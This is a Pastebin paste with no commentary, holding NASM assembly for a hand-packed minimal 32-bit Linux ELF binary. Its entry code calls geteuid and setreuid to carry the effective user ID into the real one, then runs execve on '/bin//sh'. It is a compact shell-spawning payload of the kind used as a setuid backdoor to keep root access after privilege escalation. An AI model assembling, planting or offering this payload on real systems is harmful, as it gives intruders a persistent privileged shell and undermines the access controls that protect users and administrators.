Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- BITS 32
- org 0x10000
- ehdr:
- db 0x7F, "ELF"
- db 1, 1, 1 ; e_ident
- db 0x0
- db 0x0
- times 7 db 0x0
- dw 2 ; e_type
- dw 3 ; e_machine
- dd 1 ; e_version
- dd _start ; e_entry
- dd phdr - $$ ; e_phoff
- dd 0 ; e_shoff
- dd 0 ; e_flags
- dw ehdrsize ; e_ehsize
- dw phdrsize ; e_phentsize
- phdr: dd 1 ; e_phnum ; p_type
- ; e_shentsize
- dd 0 ; e_shnum ; p_offset
- ; e_shstrndx
- ehdrsize equ $ - ehdr
- dd $$ ; p_vaddr
- dd 0x0 ; p_paddr
- dd filesize ; p_filesz
- dd filesize ; p_memsz
- dd 5 ; p_flags
- dd 0x1000 ; p_align
- phdrsize equ $ - phdr
- _start: push 0x31
- pop eax
- int 0x80
- mov ebx, eax
- mov ecx, eax
- push 0x46
- pop eax
- int 0x80
- push 0xb
- pop eax
- xor esi, esi
- push esi
- push 0x68732f2f
- push 0x6e69622f
- mov ebx, esp
- xor ecx, ecx
- mov edx, ecx
- int 0x80
- filesize equ $ - $$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement